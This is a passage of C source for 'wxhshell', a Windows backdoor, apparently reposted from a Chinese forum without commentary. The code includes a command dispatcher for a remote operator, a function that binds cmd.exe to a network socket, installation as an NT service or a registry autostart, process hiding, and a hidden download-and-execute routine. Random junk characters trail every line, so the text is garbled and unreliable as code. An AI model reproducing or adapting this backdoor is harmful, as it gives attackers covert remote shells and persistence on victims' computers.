    switch(cmd[0]) { b5e@oIK  
  (3EUy"z-  
  // 帮助 M'1HA  
  case '?': { :nQp.N*p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RFG$X-.e  
    break; qvLDfN  
  } C 7n Kk/r  
  // 安装 !g 0cC.'  
  case 'i': { $<ddy/4  
    if(Install()) GF--riyfB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iY.eJlfH  
    else KC&`x |  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Ns &b.\h6  
    break; >v0:qN7|  
    } {&nV4c$v  
  // 卸载 \/Ij7nD`l%  
  case 'r': { ZxS&4>.  
    if(Uninstall()) 3DoRE2}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \].J-^=  
    else WSI Xj5R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (Imp $  
    break; IG / $!* E  
    } =wA5P@  
  // 显示 wxhshell 所在路径 Rk<%r k  
  case 'p': { DA LQ<iF  
    char svExeFile[MAX_PATH]; EE%s<_k`  
    strcpy(svExeFile,"\n\r"); Ob(leL>ow  
      strcat(svExeFile,ExeFile); bx(w :]2  
        send(wsh,svExeFile,strlen(svExeFile),0); M@^U 0 ?  
    break; V8'`nuC+  
    } o1YU_k<#  
  // 重启 xVR:; Jy[  
  case 'b': { _9h.Gt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }~*rx7p  
    if(Boot(REBOOT)) lvufkVG|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X N;/nU  
    else { ]M4NpU M  
    closesocket(wsh); ~Ob8i1S>  
    ExitThread(0); :k1$g+(lP  
    } Z! YpklZ?~  
    break; iUNnPJh  
    } 5a$$95oL  
  // 关机 #O</\|aH)i  
  case 'd': { VBx,iuaw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8t9aHla  
    if(Boot(SHUTDOWN)) Y(GW0\<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jf+7"![|  
    else { UpeQOC  
    closesocket(wsh); ~R!gJTO9  
    ExitThread(0); 9U10d&M(  
    } YY!!<2_  
    break; 9N}W(>  
    } h3h8lt_ |  
  // 获取shell l @A"U)A(  
  case 's': { bhKV +oN  
    CmdShell(wsh); slSR=XOG  
    closesocket(wsh); zH+<bEo=1=  
    ExitThread(0); P|N?OocE  
    break; tQ0=p| T]  
  } ]hUKuef  
  // 退出 ? -{IsF^  
  case 'x': { )[DpK=[N^p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;xW{Ehq-h  
    CloseIt(wsh); eG^z*`**  
    break; /'Bdq?!B&  
    } /\~W$.c  
  // 离开 M,L@k  
  case 'q': { 3*\8p6G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i;HH ! TaN  
    closesocket(wsh); V~c(]K)-  
    WSACleanup(); 0|Q.U  
    exit(1); .jum "va%  
    break; -4`sqv ]  
        } 5V rcR=?O  
  } vz,LF=s2  
  } u~)%tL  
ok=40B99T  
  // 提示信息 ^8\Y`Z0%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D JJZJ}7  
} YlB["@\[B  
  } w#d} TY  
0hZxN2r  
  return; >%i9oI<)  
} f<=^ 4a  
s KCGuw(mh  
// shell模块句柄 GFY-IC+fc  
int CmdShell(SOCKET sock) 'Ix5,^M}B  
{ Fi k@hu  
STARTUPINFO si; Q^q=!/qQ  
ZeroMemory(&si,sizeof(si)); Y(W{Jd+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rUvwpP"k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2q|_Dma  
PROCESS_INFORMATION ProcessInfo; _"v~"k 90^  
char cmdline[]="cmd"; 4Qhx[Hv>(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aZC*7AK   
  return 0; _3zU,qm+  
} zCM^r <Kr  
! fX9*0L  
// 自身启动模式 %g5jY%dg.r  
int StartFromService(void) @6[x%j/!bt  
{ l^BEFk;  
typedef struct ?P YNE  
{ V!}L<cN  
  DWORD ExitStatus; yx 7loy$[  
  DWORD PebBaseAddress; ,iohfZz  
  DWORD AffinityMask; >T(M0Tkt  
  DWORD BasePriority; !~tnt i6  
  ULONG UniqueProcessId; wz)m{:b<  
  ULONG InheritedFromUniqueProcessId; =yo=q)W  
}   PROCESS_BASIC_INFORMATION; 4&H+hN{3  
kEx8+2s=M  
PROCNTQSIP NtQueryInformationProcess; 0vcET(  
#VQ36pCd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ! 7Nn ]Lx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /;b.-v&  
_i.({s&_9  
  HANDLE             hProcess; tc5M$b3^2  
  PROCESS_BASIC_INFORMATION pbi; AtuZF  
_4~k3%w\`l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gnYnL8l`J  
  if(NULL == hInst ) return 0; e=-YP8l  
j5'.P~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2;O  c^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T?Z OHH8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %pd5w~VP  
?#U0eb5u  
  if (!NtQueryInformationProcess) return 0; `$f\ %  
%d ZM9I0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JPHUmv6  
  if(!hProcess) return 0; "C?:T'dW  
rkbl/py  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G) jG!`I  
[6oq##  
  CloseHandle(hProcess); IBzHR[#,^  
-fhAtxkg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jDFp31_X  
if(hProcess==NULL) return 0; J,6!7a  
ZyZl\\8U  
HMODULE hMod;  KhLg*EL  
char procName[255]; -%saeX Wo  
unsigned long cbNeeded; jg7d7{{SB  
aYqqq|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9Zs #Ky/  
(di)`D5Q  
  CloseHandle(hProcess); 32TP Mk  
zkuv\kY/Z  
if(strstr(procName,"services")) return 1; // 以服务启动 sTJJE3TBI  
cF-Jc}h  
  return 0; // 注册表启动 30t:O&2<  
} +'!h-x1y~  
:17ee  
// 主模块 gCjH%=s  
int StartWxhshell(LPSTR lpCmdLine) iJ5e1R8tN  
{ UeFtzty,a  
  SOCKET wsl; +k# mvPq  
BOOL val=TRUE; 27}.s0{D  
  int port=0; 4u7c7K>\Y  
  struct sockaddr_in door; cq- e c7  
*G8'Fjin'T  
  if(wscfg.ws_autoins) Install(); Qf/j:  
,P;8 }yQ  
port=atoi(lpCmdLine); %?U"[F1  
=]8f"wAh*  
if(port<=0) port=wscfg.ws_port; :zRB)hd  
c-? Ygr  
  WSADATA data; 1x^W'n,HtK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7 3H@kf  
IEKMa   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C!CaGf=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Fmy1nZ   
  door.sin_family = AF_INET; ke{DFq h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $Vd?K@W[h  
  door.sin_port = htons(port); qb#V)  
_SU,f>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d@_'P`%-  
closesocket(wsl); h#$ _<U  
return 1; (or =f`  
} qpH j4  
/&y,vkZTT  
  if(listen(wsl,2) == INVALID_SOCKET) { ]W89.><%14  
closesocket(wsl); n=lggBRx  
return 1; c80"8r  
} D N2hv2  
  Wxhshell(wsl); C@l +\M(  
  WSACleanup(); Zw3hp,P]  
tyBg7dP  
return 0; {X{01j};8  
%Z-TbOX  
} e7)>U!9c9  
;,[EJR^CI  
// 以NT服务方式启动 VQZT.^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bQ${8ZO  
{ +_vm\]4  
DWORD   status = 0; pO-)x:Wg  
  DWORD   specificError = 0xfffffff; gDUoc*+h  
o(S^1j5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ee__3>H"/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rd f85%%7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?j},O=JFn  
  serviceStatus.dwWin32ExitCode     = 0; {EiG23!qV  
  serviceStatus.dwServiceSpecificExitCode = 0; *J*zml3  
  serviceStatus.dwCheckPoint       = 0; ;h*"E(P p  
  serviceStatus.dwWaitHint       = 0; )o}=z\M-bN  
d#M?lS>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gu~-}  
  if (hServiceStatusHandle==0) return; /i7>&ND.r  
[U+<uZzOC  
status = GetLastError(); 2/a04qA#  
  if (status!=NO_ERROR) 7~Xu71^3s  
{ C5W-B8>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h0ZW,2?l  
    serviceStatus.dwCheckPoint       = 0; ?Mgt5by  
    serviceStatus.dwWaitHint       = 0; ^@l5u=  
    serviceStatus.dwWin32ExitCode     = status; E!O(:/*  
    serviceStatus.dwServiceSpecificExitCode = specificError; RMs1{64:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A `H]q5d  
    return; Z=1,<ydKV  
  } r&LCoe'\{i  
]xVL11p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SO8|]Fk  
  serviceStatus.dwCheckPoint       = 0; GtGyY0  
  serviceStatus.dwWaitHint       = 0; rK0|9^i{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J}93u(T5  
} Jf8'N ot  
&El[  
// 处理NT服务事件,比如:启动、停止 g tSHy*3]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g]TI8&tP!L  
{ $[L)f| l  
switch(fdwControl) [jG uO%  
{ _3g %F  
case SERVICE_CONTROL_STOP: y D=)&->Ra  
  serviceStatus.dwWin32ExitCode = 0; +LU).  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qcy+ {j]  
  serviceStatus.dwCheckPoint   = 0; ;_;H(%uY  
  serviceStatus.dwWaitHint     = 0; NEjB jLJZ  
  { j2C^1:s@m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^{:[^$f:l  
  } s^x , S  
  return; <jg wdbT"6  
case SERVICE_CONTROL_PAUSE: jAK`96+D~b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \)s 3]/"7  
  break; RM / s :  
case SERVICE_CONTROL_CONTINUE: 9EY_R&Yq%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >LRaIU>  
  break; vzgudxG'z  
case SERVICE_CONTROL_INTERROGATE: pQ6t]DJ4  
  break; U7Sl@-#|  
}; %%H. &*i,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); itvy[b-*  
} kk>0XPk  
".7 KEnx  
// 标准应用程序主函数 <=LsloI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8~XI7g'5x  
{ {pi67"mYp  
+HVG5l  
// 获取操作系统版本 wNlV_  
OsIsNt=GetOsVer(); 'e8d["N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @a{v>)  
E].a|4sh  
  // 从命令行安装 IcNIuv  
  if(strpbrk(lpCmdLine,"iI")) Install(); l.LFlwt  
!&:.Uh  
  // 下载执行文件 +[go7A$5  
if(wscfg.ws_downexe) { j^R~ Lt4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W(3~F2  
  WinExec(wscfg.ws_filenam,SW_HIDE); )SO1P6  
} V3Rnr8  
> &  lg  
if(!OsIsNt) { %#;(]7Zq  
// 如果时win9x,隐藏进程并且设置为注册表启动 " kJWWR  
HideProc(); `5aypJf 1  
StartWxhshell(lpCmdLine); P#'DGW&W0  
} \6PIw-)  
else g\mrRZ/?  
  if(StartFromService()) E`LIENm  
  // 以服务方式启动 1=cfk#  
  StartServiceCtrlDispatcher(DispatchTable); ^a0 -5  
else &|,qsDK(  
  // 普通方式启动 OEqe^``!  
  StartWxhshell(lpCmdLine); 97@?QI}  
/$N#_Xblr  
return 0; JT+lWhy  
}
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只看该作者 1 发表于: 2006-10-10
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